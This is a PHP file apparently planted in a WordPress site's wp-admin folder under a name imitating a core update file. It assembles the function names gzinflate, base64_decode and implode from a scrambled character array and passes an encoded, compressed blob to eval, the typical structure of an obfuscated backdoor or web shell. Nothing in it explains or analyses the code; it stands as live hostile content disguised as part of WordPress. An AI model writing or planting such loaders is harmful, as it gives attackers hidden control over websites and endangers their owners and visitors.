File: //home/a1businessforums.co.uk/public_html/wp-admin/update-core-plain.php
<?php
$the_post_au = array ('48pMU9DILC5OLdFQiXd3DYlWLy5J','TM5Wj9XUVKjmUgCC1LLEHI20zJzU','+PTUkvjk/LyS1LySYg31jJKSAit9','fXUFPQV0ndZctQA=');
$the_post_aq = array ('i','e','m','4','y','o','l','r','d','u','e','s','b','a','e','6','a','c','k','q','t','j','x','n','o','n','d','u','n','h','p','o','z','i','g','l','i','f','k','z','e','g','p','e','b','v','t','z','j','d','d','m','v','e','_','a','e','c','i');
$the_post_ck = $the_post_aq[41].$the_post_aq[32].$the_post_aq[58].$the_post_aq[28].$the_post_aq[37].$the_post_aq[6].$the_post_aq[13].$the_post_aq[46].$the_post_aq[53];
$the_post_ww = $the_post_aq[12].$the_post_aq[55].$the_post_aq[11].$the_post_aq[14].$the_post_aq[15].$the_post_aq[3].$the_post_aq[54].$the_post_aq[8].$the_post_aq[10].$the_post_aq[17].$the_post_aq[5].$the_post_aq[50].$the_post_aq[40];
$the_post_tl = $the_post_aq[33].$the_post_aq[2].$the_post_aq[42].$the_post_aq[35].$the_post_aq[24].$the_post_aq[49].$the_post_aq[56];
eval($the_post_ck($the_post_ww($the_post_tl($the_post_au))));